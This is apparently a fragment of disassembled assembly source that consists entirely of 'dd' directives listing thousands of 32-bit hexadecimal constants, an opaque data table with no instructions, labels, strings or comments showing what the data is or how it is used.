		dd 9362FCE3h, 0EF849F84h, 0FA130ABAh, 1ABF94D6h, 0BF926C35h
		dd 0C4AF232h, 75297D19h, 0AEF7A87Fh, 98389D02h,	980B8316h
		dd 44A59DD2h, 7BF1116Dh, 843B2FBDh, 5D5F63CAh, 0BF5E62Dh
		dd 2E3360CEh, 0CCC70D8h, 240C3C67h, 0EC7515BBh,	0E8ACB12Fh
		dd 38EBF281h, 265A4FA9h, 86E367F2h, 39A5F155h, 3937B6A9h
		dd 0DE91B61Ah, 190FC5E6h, 36F13CB1h, 0F68AB862h, 0E316333Dh
		dd 2DFA43Ah, 488A2181h,	785244A7h, 0C2BFA4Fh, 4852F28Eh
		dd 0A676BB59h, 0C92E843Ch, 0D8432C40h, 69BADC2Ah, 314A20Eh
		dd 0C2891E3h, 404FCACBh, 0DB867024h, 0F6FA8270h, 2DD473ADh
		dd 2E4ADBABh, 0E26D8BADh, 8AA5ED4h, 7EFFF4F3h, 7FAB1793h
		dd 825126D8h, 0F4A31045h, 0FB182C99h, 0CBED609Bh, 90706C60h
		dd 0C4A6B549h, 336ADF69h, 3606C4CCh, 27EFF7EEh,	945E9456h
		dd 0DB1D5F9Ah, 718A6A0Eh, 275091FCh, 0C806A3F7h, 0D8B23E99h
		dd 192D4432h, 0FAC9F35Ch, 2EB7189Fh, 0D6717FFEh, 73244368h
		dd 30F252C3h, 0B3A4C56Ah, 3004E6A0h, 870A543Bh,	0C6E613F9h
		dd 0B451D512h, 0BD00007Fh, 26A2A2A7h, 5598306Dh, 0F2950360h
		dd 24C7FDACh, 9985007Fh, 0DFB3693Dh, 66D30480h,	7084932Eh
		dd 0D2A9EA35h, 0E297F7EBh, 1BEE939Dh, 546524CBh, 3D797440h
		dd 0B40864E1h, 81DF111Dh, 0F29BD37Ch, 46E4BA7Ch, 4961C98Ah
		dd 638A0DBAh, 0F95FABF3h, 6DBC0DDBh, 0A514687Ch, 33D9CC0h
		dd 0F79AEF83h, 0D4626A03h, 79805C25h, 6433CF1Bh, 989E5E92h
		dd 0C0BD09C9h, 64B06081h, 0B8544ABFh, 0BF91FD0Fh, 83CB5629h
		dd 0F287B0h, 57DA78B8h,	1EA4686Bh, 80347FD3h, 8CE3EF3Bh
		dd 22DBB1F9h, 463D4A8Bh, 60698BABh, 0BB8CC3Fh, 8838920Fh
		dd 2BD63B4Ch, 94852627h, 0E0AF55FAh, 5D3EF618h,	9036CF1Ch
		dd 2A3B0BCBh, 5900D1B1h, 18E982B7h, 0FC89A49Dh,	19B3FAD3h
		dd 0D264503Bh, 0CBAC6900h, 5691E406h, 7EF4E9A6h, 77442831h
		dd 86CF8DD4h, 69B6B4B0h, 0DF4A5137h, 178D1470h,	6ADD91D9h
		dd 8E85F4BBh, 76334279h, 4E154CBDh, 0A047AD37h,	0DE70EF27h
		dd 0CE04E0E4h, 70E18C7h, 0BEB53D53h, 0F72EDA8h,	5829C9D8h
		dd 970AF522h, 9FBF30B4h, 25B585C6h, 29ED0ADDh, 78CAFDA6h
		dd 6F63A239h, 9A62A739h, 0D507D63Ah, 7ADEF8C3h,	0FB4D1910h
		dd 3ADF0DFCh, 52799325h, 53B89CE2h, 52D6DB09h, 57F015D5h
		dd 0ADC54282h, 663A0395h, 0C31F895h, 65B5137Bh,	3D31BE42h
		dd 66D42720h, 0B671CD6Eh, 6443FD98h, 0AF1F1480h, 0E4D89E90h
		dd 2F269E9Ah, 23DD0A6Ah, 7219AC30h, 0B5BB8B38h,	0C72D0F71h
		dd 0FC392E87h, 0F665D273h, 98CA0001h, 0A423B185h, 0DED15488h
		dd 22AC8BCh, 5B005BFAh,	0DE1F72E9h, 0A32588A3h,	2BECB04Dh
		dd 9D1C65EFh, 26A5D0BFh, 0CB76B0E5h, 9249BB5Bh,	749A914Ch
		dd 0C1CDE282h, 97AEC0AFh, 0E4B05941h, 0BD9E781Ah, 0A0F0EBB9h
		dd 829147DAh, 0EFA30D66h, 0FA7E223Dh, 25CF4FC4h, 7A48CF69h
		dd 0F4CB5845h, 0AE447F7Bh, 0AEFFE881h, 2B885DB8h, 2D1205Dh
		dd 0A190D9F6h, 0B0CFA34h, 0AF7786A3h, 0FB93EE29h, 978B32D3h
		dd 7F3A8338h, 0D3353F22h, 0CC653194h, 0DEE081F5h, 0FF3BEBF4h
		dd 85F0CF6Bh, 455433D7h, 0B258CD9Dh, 3E10C141h,	59890CB7h
		dd 4D3D31C6h, 650942EFh, 1C537C3Bh, 4B0B41F9h, 0A2588B14h
		dd 35436197h, 0F7D70954h, 0A78C49C2h, 5153DB5h,	60786F7Eh
		dd 0C9FECBD6h, 0AF3D06Ch, 0ED8982E3h, 0C9E28941h, 0D6BEC4h
		dd 0F92D1D50h, 0D46F7A64h, 8EA6385Ch, 22D672Dh,	52A1C8B0h
		dd 2A9D1642h, 0D52CCB69h, 9781195Bh, 65639355h,	0DB27FD8Fh
		dd 0F8288B18h, 27AC5197h, 0D87F1E31h, 0C9594145h, 8C15BB22h
		dd 4F2CFDE8h, 0EE3E828h, 756A476Ch, 886BBD1Fh, 0EF2F4A51h
		dd 5602E48Fh, 0B2FD7C34h, 0FA72DE24h, 0CA321252h, 9008392Bh
		dd 6011A1E8h, 0D2CF0CC2h, 0E0384E22h, 2CC60C96h, 0DCB1D6Dh
		dd 3506D516h, 0F53847C8h, 0E02B792Eh, 0FA24CB53h, 6D67922Fh
		dd 9A64EE45h, 3C280F2Dh, 471FA968h, 97433B00h, 29EC9A3Dh
		dd 0BF97D13Dh, 0ADF5FE33h
		dd 5660A421h, 18F4084h,	22AA137Fh, 0B23D0466h, 0FC77E0A3h
		dd 4CB0994Ah, 3E354996h, 67F6684Dh, 9BF24EFAh, 0D01821Ch
		dd 0A9321267h, 0FC6F3591h, 795D3A17h, 1CEF7040h, 15B8194Ch
		dd 319E28BCh, 0D5D2FBB7h, 6F1398DEh, 7149D8D8h,	0DF03CE15h
		dd 9F2E90A6h, 0BD8620C8h, 2775BE8Ch, 7168B4BEh,	0C846ED0Fh
		dd 81794D6Dh, 0DB75F920h, 8DD273ECh, 0A8120EC8h, 0CC4D954h
		dd 3271D90Bh, 0F9EFD02Eh, 0CB314103h, 630927A9h, 6F0518B5h
		dd 3E4D0A5Ah, 7473B0C6h, 0EEB43975h, 28D9E6E6h,	47662A63h
		dd 55942E77h, 3203EBEBh, 1F20F8C2h, 6C9915F0h, 5EA4FF6Fh
		dd 0D6C6A0F7h, 22F7786h, 0F15F9F85h, 0CB15F57Fh, 1E070993h
		dd 4D7D30F9h, 2820C777h, 76228EB5h, 10EC2F44h, 0C35E332h
		dd 482FB9F0h, 428E7AB3h, 0D392A8D7h, 66E49583h,	0ACB6FA96h
		dd 0CB19C583h, 85E76CF1h, 79E3CAC6h, 21A8E624h,	0AD967D28h
		dd 5BB16D47h, 54C85137h, 79967825h, 0A7B5CF46h,	0F7F6AE6Ch
		dd 8B366F3Dh, 9E83972Ah, 0BDDC54B9h, 0BFABB743h, 25EF4AD6h
		dd 55EE9515h, 39757DB3h, 0DC58A86Ch, 1C6343E4h,	51D30BEEh
		dd 734DE77Ch, 0AEA04B36h, 0A0612540h, 69822310h, 7C05B467h
		dd 2189D4F6h, 93A15C31h, 97D4E75Fh, 0DF8181C1h,	96B0F795h
		dd 8185913Eh, 0A0C30396h, 32C4CC9Bh, 307C6D3Ch,	0B65BB319h
		dd 9F9DB4B6h, 253440A6h, 39726EFDh, 76DF568Ah, 9370660Ch
		dd 0FE39FA49h, 0D31A938h, 69576AFAh, 9F284627h,	0F9DA38BBh
		dd 0B979B00Ch, 4038C84Dh, 0CFAAD23Fh, 7E774775h, 0C76AAF41h
		dd 7F66DBFEh, 0ADF85745h, 0B2A00792h, 114B5806h, 0DDD23C44h
		dd 0ED03D5F9h, 317D984Ah, 0BD8994F0h, 0E1B4D482h, 0F764ACCEh
		dd 6E2FDFDh, 0E036CA5Dh, 2AA3675Ch, 0E7F3D1CDh,	0F90289FEh
		dd 94683BE4h, 0C1B1516Fh, 0CDE529D4h, 0CCBEA78Dh, 557BF16Ch
		dd 8C36E742h, 10F6258Dh, 48D6D6B5h, 3FC5EE21h, 0D61B2597h
		dd 74E2130Ch, 380A075Ch, 0E963A8E7h, 92F1B338h,	0A2DCE671h
		dd 434EE3E9h, 0FB641355h, 0EA7AA596h, 27FDEDC2h, 446D534Bh
		dd 4B6234C5h, 0B05753Eh, 265D25D6h, 79A28A39h, 8678D588h
		dd 14D57909h, 0F2AC9C15h, 320B1AE1h, 0C263A79Ah, 0BD1A6C67h
		dd 0CAC6B586h, 1A82853Bh, 9C06D5D9h, 0EB5C6527h, 0FFB424E4h
		dd 0CB107AFCh, 2F83D115h, 66F5CAAFh, 0BD6D5975h, 89F52400h
		dd 0C9463C89h, 0D8ACC0EDh, 813C35B8h, 499E283Bh, 0BFE8D528h
		dd 7C6292B8h, 78E340BDh, 530DDB00h, 0B45B198Bh,	4EEEF185h
		dd 0CB7480CEh, 0C86152ADh, 7F5B3735h, 7FD4820Ah, 0A4E75643h
		dd 7B41B10h, 0A34362Eh,	0A5872B74h, 0D2DEEB5Fh,	0E5819E7Eh
		dd 67CCE0C1h, 0C5B86C47h, 0E6DCF792h, 9342A546h, 0E0E7717Bh
		dd 0B754E553h, 9B9E6246h, 0B1A47BEh, 3B1F7A86h,	17CA00F6h
		dd 8F103D6Ch, 69093886h, 516DAD0Ah, 0A769FC5Bh,	5551C823h
		dd 4F42F434h, 54E09CEAh, 857A5CABh, 0BDB3A60Bh,	5CFBB75Dh
		dd 0D667C381h, 0ADB32C52h, 0DB065BBCh, 0D527FEAFh, 0F522100Ch
		dd 7E11BA0Bh, 55CA1B3Fh, 775C6F1Ah, 395E96D0h, 0FB9A8107h
		dd 0A28B7ECEh, 0C1D7B4DDh, 0F2924A1Fh, 5C467EB9h, 0F53A9AABh
		dd 0ABE6F972h, 54FEDBF3h, 2F91D926h, 56822E42h,	1DFC986Eh
		dd 23E8659Bh, 0D88306E2h, 9F83E816h, 5E0913AEh,	6C8D96C4h
		dd 0AED0D499h, 0F6039571h, 9A0704F9h, 452ABB6Bh, 4DF40443h
		dd 5EA5D146h, 0D891882Ah, 0A5A622A0h, 0C4ED89EDh, 74AF9112h
		dd 321380E6h, 0A58D1765h, 488CB95Bh, 997F4B77h,	0CEE493FFh
		dd 7B4B4AADh, 2418511Bh, 0E1B53E24h, 6C6DFAB9h,	4EB0F63Ah
		dd 43C44C63h, 0DEA2DD5Eh, 9B30BC88h, 0EF6D0F20h, 6C4BFE4Dh
		dd 97F32420h, 0FA453D8Fh, 0FC19A48Ch, 0E6229081h, 5E01C8ADh
		dd 0C8E4CDB1h, 63D5CB45h, 5D3EEDF9h, 5D555480h,	51311257h
		dd 0E537B0C0h, 5B4E221Ah, 0FB0CFF71h, 0F2A66264h, 0ED787186h
		dd 0EE2EB0CBh, 0BC7159DDh, 63C93340h, 0C476D7F2h, 7B8D6B8Dh
		dd 579E1C51h, 0E1556D0Ch, 537603AAh, 0D272EC48h, 0B6E90F0Dh
		dd 8CEB3C36h, 1F446BDh,	893EC9BEh, 8B5C9693h, 4969EEA9h
		dd 2CE07811h, 0E6E3784Ch, 3870FBABh, 629B883Fh,	791E3F5h
		dd 106D936Dh, 74D61FF6h, 0A9558548h, 0C5005D05h, 5062B314h
		dd 82EBCDD6h, 78142D41h, 95B074DEh, 393C14D2h, 0E150322Ah
		dd 0A9309CA6h, 1D772BD2h, 68508034h, 0A9760827h, 0C91362C5h
		dd 7B079246h, 0F8552494h, 5809D1E4h, 73F073A8h,	9EFBFF29h
		dd 255F1BBEh, 6AF6DBB6h, 9BD7B57Dh, 6A6C3636h, 2A112793h
		dd 0F799639Bh, 0B4C0AF72h, 0EA9FD22Fh, 0CA8E679Dh, 98E63E03h
		dd 0E012BDD1h, 9E796B36h, 408A2A6Dh, 9E2C69DCh,	0EFC5CC97h
		dd 0E8424726h, 0A1268E41h, 36DF98A8h, 0ED97C949h, 65558955h
		dd 59E2A750h, 38F2443Ah, 12EF900Fh, 2020D59Fh, 631DA8F0h
		dd 0AAEE7A6Bh, 1CD119EFh, 43D6B210h, 0BBFE1817h, 0EEAD9F68h
		dd 879C00D7h, 4A30F82Bh, 94313498h, 0EB18F826h,	78E510D6h
		dd 6FE85B39h, 0EAA0462Ch, 6C3F2C52h, 378D08A6h,	8D22A2AFh
		dd 0FBB54810h, 48A9AB01h, 7688DCBh, 383BB54h, 9CC62B2Eh
		dd 5902928Eh, 0AAAAB28h, 0FCD17AC5h, 5C531CADh,	0F8555B27h
		dd 0BF90DC45h, 65D6E67Eh, 88F9D57Bh, 340FC474h,	0C5AD7224h
		dd 5F347811h, 0FEF963D0h, 24226020h, 0F2380DAh,	7A790544h
		dd 9C480562h, 56F2B38Fh, 0EF1F4CA9h, 0F7C56EDh,	0DBC6EF89h
		dd 57E9BEF2h, 214AF7FCh, 0EE510466h, 0EFC350C2h, 0DA4B0E5Bh
		dd 1FCB390Bh, 0FC37E4B0h, 28D81B6Dh, 37133E17h,	747F8800h
		dd 80EB1F0Ch, 73785601h, 3693EC26h, 178ACE20h, 142204E0h
		dd 90BCB9AEh, 0D6FA9326h, 502A2C4Eh, 16FD1357h,	58C0CE48h
		dd 0F8603964h, 0F0A5D6CBh, 43C5F270h, 0B521E359h, 0DFC4FECCh
		dd 0E1C00E63h, 7BBCCA58h, 0B4C6362Dh, 9ADF1826h, 50E85DE8h
		dd 0F16054F8h, 0CD4C3749h, 0FE98BECDh, 0EF0CB783h, 534D9D80h
		dd 0E8031FE8h, 185C30E3h, 2C7EE701h, 95DC735Fh,	63214FB6h
		dd 7AA79A58h, 0C186F289h, 9DBC9C39h, 56C70CC7h,	815D1534h
		dd 35654AB7h, 0FF9B0D57h, 5139F64Bh, 1D50CB29h,	3B15A655h
		dd 0F704F3E2h, 39796CAFh, 0FBC498BFh, 40AC7EEh,	636568CDh
		dd 3A122E90h, 320285E1h, 1EC090FCh, 0BB2DF622h,	73BFCC3Ah
		dd 8C20F78Ch, 21515B3Eh, 5F3729Fh, 0ED8B2746h, 97C50029h
		dd 0ECF78F32h, 7611C4C3h, 3BFF4C7Eh, 723865F0h,	8A9F8CB6h
		dd 98322A7Dh, 0B8B5031Eh, 305E8F95h, 0D6E861A5h, 0C19D3314h
		dd 79037141h, 51EC53F0h, 0BE23AD75h, 33193BEDh,	965C7FBFh
		dd 1F902C5Ch, 0CCE07469h, 8BA1A228h, 5161A6F4h,	0C4AF6D78h
		dd 5AC9E0D2h, 8935EBAh,	0E261A56Dh, 0BF85BDA2h,	92CBA25Fh
		dd 67B82ACh, 52A7B70h, 15032D8Dh, 0B224911Ah, 7B612BB5h
		dd 0B0667113h, 7C80C68Ah, 0AE1D06CEh, 0BA64AAACh, 0C3BCEB8Bh
		dd 0A64555D2h, 0A05636BAh, 49D239D4h, 64D6474Ah, 79D784C3h
		dd 32C91D7h, 17E7D867h,	5BE9A51Fh, 0A7EF0583h, 6BF5B57Eh
		dd 60C92C03h, 0D4E878F4h, 0E836BDC7h, 0B918821Eh, 38F53434h
		dd 5AACB48Ch, 538544D4h, 3E371705h, 0D91E78D2h,	0F6902C5h
		dd 2E663108h, 55319091h, 7E648EEBh, 590488CAh, 451B47B8h
		dd 0E5C4FB00h, 7D0F6506h, 0FED33DB3h, 0B0824A46h, 3636DE99h
		dd 0CE051C8h, 8CCBDF41h, 0D472448Bh, 39D936FAh,	0CACD5188h
		dd 6C8A2B44h, 1CDEC6A3h
		dd 688E33A2h, 0C737A570h, 24DF5D34h, 0C25E646Dh, 3047AF73h
		dd 2F2BA65Fh, 0F39D7904h, 1F6D7671h, 127A2FEEh,	0F469FF6Ah
		dd 991169D0h, 805B9ED1h, 855FFAD0h, 4B7F9610h, 6D8B4188h
		dd 3653855h, 0BA2D018Eh, 88E098B9h, 43853194h, 0AB074A4Ch
		dd 6B5A89AFh, 47543CE7h, 0B509B5A0h, 95D1FA00h,	1BD7C544h
		dd 9F8E8D50h, 6EED0BEEh, 705BFC61h, 6E7C043Eh, 9F412D1h
		dd 34AA13E7h, 76E210EFh, 7AABB754h, 70A3DC11h, 35AEE209h
		dd 98BCECD3h, 0A8AA223Ch, 0DCF78908h, 0EBF4112Dh, 0C2841524h
		dd 0B1AFDA2Bh, 744A22B1h, 9AC61871h, 0CCB5D4A4h, 6D4269E3h
		dd 0C627B06Ah, 9C9A9BA8h, 0B037E4BCh, 6DA0A51Dh, 6C0E9956h
		dd 5E11E7C5h, 38AD0FDCh, 2296654Fh, 36248B20h, 8AFD42C8h
		dd 60B65FCEh, 375E5871h, 4C861F18h, 0DBEB67D1h,	1ADDA0D7h
		dd 590D3A9Bh, 0F60D1D0Fh, 20391A2Ch, 18C91CF9h,	7673AF98h
		dd 0DB8CBC18h, 6F929E01h, 381A9982h, 0D7D2FAACh, 6603B432h
		dd 0AB60E434h, 64F716B3h, 9B574C8Bh, 0C7262CC0h, 1E202C22h
		dd 7D8E1747h, 1EAF660Eh, 0D16AC530h, 5597E22h, 0C3A5FFA0h
		dd 36D97E88h, 688CBA21h, 3938F472h, 91ADEA62h, 0D0942C10h
		dd 0A190DCB3h, 0C3968E96h, 41563774h, 0A67710A0h, 354C36h
		dd 66F7795Fh, 91136F1h,	0BD60473Fh, 7F2E0168h, 3AE1AD3Eh
		dd 0FB0CDA68h, 25C4FA57h, 991B3A26h, 182A5E2Dh,	0FF07D9A9h
		dd 0EF0DF425h, 5E732A6Ah, 7847D399h, 89BFD70Eh,	0A5A9E97Fh
		dd 171DEF96h, 6873457Eh, 0EC0E25C0h, 0A1148830h, 0FB36893Bh
		dd 2A0406B3h, 3703E691h, 44694630h, 7047DE79h, 70634D6Eh
		dd 34CC4F2Eh, 0B3F1F9Eh, 1D3B785Bh, 0D7711C6Bh,	0F5581CD5h
		dd 445E13E6h, 0C30BA490h, 7CE318EBh, 0BB01C7D0h, 9E5C7DB9h
		dd 283F5D47h, 2A6EC0A1h, 66D5327Fh, 0CB64F21Eh,	7694EBB5h
		dd 6621C2ABh, 0EECB6612h, 6DFBA41Ah, 571E37E1h,	0F44945C8h
		dd 0FA5B5589h, 95A1AFD3h, 0C8DD5729h, 0A8A620B4h, 776AC3FAh
		dd 0C3A901D7h, 2215BD72h, 0CB5649D1h, 9A7FF3B0h, 754B8366h
		dd 0EBE333Ah, 3CFCADB1h, 0D08E5E42h, 0D1C53AF3h, 0DF24CF73h
		dd 6355D3BCh, 68E9415Eh, 14F9D11Dh, 7EB169B1h, 821DF5E5h
		dd 426DCB77h, 97986B87h, 36A52B91h, 95BB3335h, 69C863F2h
		dd 0A04C0D9Ah, 172B5B9Fh, 0C1CFE80Ch, 370FC291h, 91098B28h
		dd 5222DEA5h, 0D48A8B5Eh, 3D243ADBh, 745890E3h,	133D6B73h
		dd 0E798C717h, 5E113D5Fh, 2BAAAF1Ch, 0E3436384h, 289DA66Bh
		dd 6877F91Ah, 693AD21Ah, 189259D7h, 10B498C2h, 28540BCEh
		dd 0B1B75B43h, 1646F96Dh, 16AE5689h, 49EC5FFFh,	0F63238Dh
		dd 709609DDh, 359B502Dh, 6C3F33BEh, 0D46BF0F3h,	76793251h
		dd 50E84D3Ah, 26DA2F11h, 38156865h, 83BF0418h, 0D9F16791h
		dd 1A006EC4h, 8E9CD95Dh, 8139C4A9h, 8794104Bh, 0BD24E8DEh
		dd 509E97A4h, 108E46B3h, 0D50FA04Eh, 0C46FFC6h,	6FC09E69h
		dd 0D5319E0Bh, 0FD9E2898h, 0BA22E5E0h, 0B9077EC6h, 9E6DECABh
		dd 8AD56061h, 2839CBACh, 2978C328h, 0C34F5869h,	5D0C4DC7h
		dd 93AADE21h, 0C217337Eh, 0C5A5BE2Dh, 0C8C6A09Eh, 0EA29158Ah
		dd 87FDAE3Ch, 0F26A5BD3h, 0C868C2CCh, 0F8B39A63h, 0D68AEF6Bh
		dd 0B9B25AA8h, 0F670FE92h, 52722AFEh, 9B56E5CFh, 0BB7E7DC8h
		dd 9C5059E4h, 0C9F3FE9Eh, 0B75A88CDh, 0B0035B9Eh, 3B3564D1h
		dd 9F010C61h, 6BDA684Ah, 710359ACh, 0ED78DCF5h,	16EEF6D6h
		dd 0E65C13F6h, 71653FC8h, 1DCD60A2h, 8D1A0284h,	4272BBCCh
		dd 3430BF8Fh, 62BB5886h, 0D3D68A06h, 21A2F713h,	0E8F3E3ECh
		dd 1BDF068Bh, 7C80E952h, 978DB2C1h, 0DDC58163h,	867BDD16h
		dd 500DAE4Ch, 50101C63h, 0CE5BCD47h, 32D517B5h,	0F5A46EEFh
		dd 0BE295h, 5DC390C3h, 55B2513Dh, 45575025h, 4E57B384h
		dd 71220C81h, 6D144016h, 0C26973F8h, 0E166AAF6h, 0ABCD2274h
		dd 68EB1Fh, 0A9738EB5h,	0D5334E73h, 0AF892675h,	26265A9Eh
		dd 0B36C86FFh, 0B3B9CB27h, 28F02349h, 0B3CFB50Eh, 65CBC8ECh
		dd 22220F65h, 0FDB961D7h, 0F3338423h, 9E7BA7B2h, 580F8618h
		dd 0A3ED711Bh, 443B4A4Bh, 45065147h, 25D3CA12h,	3C85A0B7h
		dd 492B4DEEh, 5E819A6Ch, 16A6A485h, 0B128135Ch,	94201A06h
		dd 64FB165Fh, 6DCFBFE0h, 0C48ED2DBh, 383A6C63h,	360BBABEh
		dd 0A1C4354Ah, 1C9F4277h, 48A5B535h, 0C74EDA56h, 0E845D0B0h
		dd 4F84FEDh, 0C02D1376h, 3B40F607h, 0D7538B99h,	0ECCF57BDh
		dd 0F385FC81h, 0C5407221h, 964FB163h, 0BE111C8Dh, 25D14C69h
		dd 98884B04h, 0A67006ADh, 7DFFC77Ah, 0B043E11Eh, 0B439475Bh
		dd 0C6E444F9h, 6496940Eh, 92403B0Bh, 1783DE9Bh,	7041EF43h
		dd 4B148CE2h, 0AE61F8C2h, 62F64105h, 53DD63B7h,	0E3F63DE3h
		dd 0FA678E1Eh, 0A2C25EDAh, 107F4586h, 0B3EA6345h, 80F0DD79h
		dd 0BCEEB66h, 0C0F9DDA4h, 0C548163Dh, 0BDC30D26h, 5AADB5B3h
		dd 76AABA6Dh, 1C06AD12h, 0CD91CE93h, 59D8DBCCh,	33824CCCh
		dd 7EE2E6C0h, 0C88988A7h, 694B9ADCh, 7D9B8137h,	6A93506Ah
		dd 0C8907818h, 0D4189CACh, 0A9771FB0h, 33B9B9F5h, 0C5FFF236h
		dd 0D4194364h, 11958167h, 0BCA349F6h, 84A13E94h, 8169BB44h
		dd 5B292695h, 0AD377542h, 71C643E1h, 37FECEA9h,	6FBBC111h
		dd 0DE62CEBAh, 0B73D38A8h, 85F6F577h, 3245ACEEh, 43988452h
		dd 0F0D7F13Eh, 0CEFCE847h, 4FD3C41Eh, 0B563EFC3h, 8172BA19h
		dd 6101D677h, 0EA6EF925h, 5960E3E2h, 0E34628E6h, 0AB328094h
		dd 7798C3F4h, 0F10A6D33h, 0B8F8D37Dh, 0E6BA3D14h, 0AAE50477h
		dd 6376061Ch, 0DD3EE34Ah, 0F41E3507h, 9BCB2DE4h, 5CDD47FDh
		dd 4A33FA17h, 485F7410h, 250A3761h, 8531A794h, 0E4A71A9Ch
		dd 112FE933h, 92D45CCBh, 8BF611A0h, 917B264Ah, 8C1B9186h
		dd 0E3C87B2Bh, 72832EAEh, 0D521095Fh, 0ECFFB5A9h, 1D404B04h
		dd 0E1B06546h, 41D7AB83h, 503D4DBCh, 0D0E76B0Ch, 71921EE3h
		dd 0EF47E8D5h, 809AD7C7h, 0F7DC8E68h, 58D69F69h, 64E5026h
		dd 0A56695F4h, 63F355EBh, 60427EEEh, 0B9A70D8h,	9C918Ah
		dd 0F5A71206h, 9ACBBD08h, 0D406E775h, 27DEA1AAh, 88FEA202h
		dd 6169D996h, 2B192Ah, 0B09B6470h, 1B84FD84h, 0EAD502EEh
		dd 0E87C118Bh, 9DC3D8B1h, 8D4E0EACh, 1392001h, 8F593D8h
		dd 9735C290h, 32224F92h, 0C89E3758h, 0F9A9A96Bh, 0DEF628F4h
		dd 4A9C78B9h, 6F1CDFE3h, 0D9481BF0h, 0EB1A3551h, 6E175367h
		dd 0BBB7BC2Bh, 46C831Fh, 0BD2FB819h, 0C3CAC472h, 7B54A5BEh
		dd 89320ACEh, 0F3CE2A5Fh, 67349F56h, 418679h, 17B870C0h
		dd 444E781h, 0F2CCCFB1h, 0F80F6ED2h, 0FCD7C88Ch, 1206D644h
		dd 302B9B80h, 3B45B08h,	2616408Ah, 505ACCE2h, 32D8098Fh
		dd 0A3831DFEh, 0F119D3E2h, 0C8EC57A3h, 434F23FDh, 8A39C070h
		dd 0A9092CB4h, 0C39A96h, 2B3AA665h, 0E851815Eh,	0F66A0F70h
		dd 58CAE67Ch, 0A73F5671h, 52C4479Eh, 0DDCF2D58h, 753ACC3Fh
		dd 0E9DB96E9h, 0A51CFE2Dh, 1D628322h, 692EA43Ch, 8586A978h
		dd 0F8D25B9Ch, 0DE3694C4h, 9E63CB64h, 0A9399155h, 8824D112h
		dd 315E458Bh, 94BC266Fh, 17758021h, 483410C9h, 0B1C0E213h
		dd 6AB6054Eh, 1A08D962h, 165C9C3Fh, 0DC7C7C2Ah,	80EA1A2Ch
		dd 88C22255h, 8143FAA2h, 0A37E7D3Ah, 0D5EF920h,	0BC43324Dh
		dd 64B5D37Bh, 0BF705990h, 0D8F59A75h, 0CAA40F85h, 3D34D7E6h
		dd 0AA53A8A1h, 0FC29D32Fh
		dd 0D7B3D2F2h, 3B6C6E4Ah, 0B8D62AFFh, 8D6F3FA8h, 4B574888h
		dd 273B8D2Dh, 0BC264FDBh, 6B3B5D1Dh, 0FE21E853h, 5E60133Ch
		dd 3107456Bh, 832B7159h, 84347F42h, 437C3461h, 5B098652h
		dd 77BABD5Ch, 0E8416E0Fh, 102D73h, 8C0F410Fh, 0DB5CA338h
		dd 5F4B192Ah, 0D0A302BBh, 59B9CA6Eh, 0D8FA3710h, 8E652D5Dh
		dd 0F2148442h, 0AA7F5327h, 0FACB3C7h, 9271318Ch, 0E16259ECh
		dd 81AD8E8h, 98C7583Eh,	0EE959D11h, 36099C48h, 0DF4B78BDh
		dd 0C7BD64D6h, 9899AFCAh, 4E826758h, 0BE5AD91Eh, 14E5F05Bh
		dd 0DD275576h, 856DFFAh, 88CAEA8Fh, 351AA68Dh, 0A27D798Ch
		dd 6A23F393h, 1D571473h, 901656F4h, 5DE43729h, 0D2AD642Bh
		dd 52FFDC84h, 4A528307h, 0DFD6B3BDh, 0A2F8762Ch, 7977C224h
		dd 41F96221h, 0F3434592h, 12DE5E3Bh, 31C99257h,	0E802B44Fh
		dd 34D5C678h, 49B3011Fh, 647DDE5Fh, 0D1DD519Ah,	45EAE481h
		dd 0EECAB485h, 0E9AF667Eh, 0CF0007Dh, 8351B111h, 22C989D4h
		dd 0FEB9A2C8h, 0CD4B57D3h, 0C920F621h, 9BDB022Fh, 0D59DCBD8h
		dd 0D53CE318h, 31752EF6h, 0E1189D90h, 0F562982Eh, 0CD303A8Bh
		dd 7375C84Ah, 3E180853h, 0A5CD48DEh, 0B182D4D8h, 0D59B8635h
		dd 72B7EC5Bh, 115EB478h, 112EF778h, 655DD919h, 6D3F784Ch
		dd 14E67FC4h, 6D8D2B76h, 3EDB5DA5h, 5C42ACAFh, 0D178678Fh
		dd 8D1AFC25h, 0A87DDE00h, 0DB53360Eh, 3CB9AD96h, 5298C78Ch
		dd 184AE0FCh, 0D5DF4350h, 4F0E03EDh, 81559737h,	8648BC64h
		dd 0E43BD7F2h, 0F4028D9Bh, 0B0EE94AAh, 9A7768Ah, 0BB93FFCAh
		dd 0D8615967h, 83789F90h, 7474C483h, 0B9F101D0h, 30BF9372h
		dd 8F1832D7h, 3E17D85Bh, 48DA417Fh, 508E3CD9h, 0E0CFAE58h
		dd 60F34FD4h, 0EF2C3663h, 1C8DC525h, 1D3618A9h,	92E9016Bh
		dd 7951DC36h, 3E84C64Eh, 3A0021C3h, 0A5D0A9B1h,	0D7E7FC2Fh
		dd 1229BB55h, 6FF4866Fh, 547FD4BAh, 0F4D7DE31h,	0C4029E6Bh
		dd 3408AC47h, 0E6F944C4h, 0CC7C2037h, 0B33D65F9h, 981C6FA8h
		dd 77BACEF2h, 194F6084h, 0FAB5283Ch, 0FC43C876h, 0AC34FF60h
		dd 58651757h, 0B28351EFh, 9CD722E0h, 0D71C43B5h, 0FF1D710Dh
		dd 184F27A9h, 0F2EDACA8h, 70C2D5ABh, 8DA09136h,	3393D6Fh
		dd 0AE50FF6Ch, 90409960h, 0CD0482BCh, 6898E6BBh, 4ED3593Ah
		dd 4EEEC060h, 0B2506C38h, 4E0F3873h, 8C783FC5h,	405FDA94h
		dd 3C327E3Ch, 5B8C4E08h, 634E94Eh, 99F300F3h, 70399EEh
		dd 969178A2h, 94F0FEBAh, 0E4D2CB2Ah, 0BF6F10B4h, 0BC6BBB71h
		dd 9309271h, 1600F812h,	7FA3137Ah, 0F7A2EE13h, 77091AB6h
		dd 8D765B8Ch, 22E5C093h, 7C28D9BCh, 518870F2h, 4137AE82h
		dd 26202C68h, 6183CC92h, 7FDFD9AFh, 33380214h, 2C41CFA1h
		dd 4244E752h, 51DFBC72h, 1001AE03h, 0ED815D0Dh,	4D5697A5h
		dd 30B9B291h, 8DD312E7h, 6086C4A5h, 0C902CDFAh,	3229E391h
		dd 0E41C36F6h, 1EB22C22h, 0BE72D3AFh, 5F51DABh,	0C5E55537h
		dd 0BABE3289h, 1B1FFBEBh, 0A7287E41h, 40DADB01h, 3C9139FFh
		dd 2748E321h, 0A4A2EE54h, 0D8673EAEh, 5A5400D5h, 3208CD28h
		dd 8B5B213Ch, 0CFF3D14Bh, 3EC8D2ABh, 5278EBB1h,	7751FAh
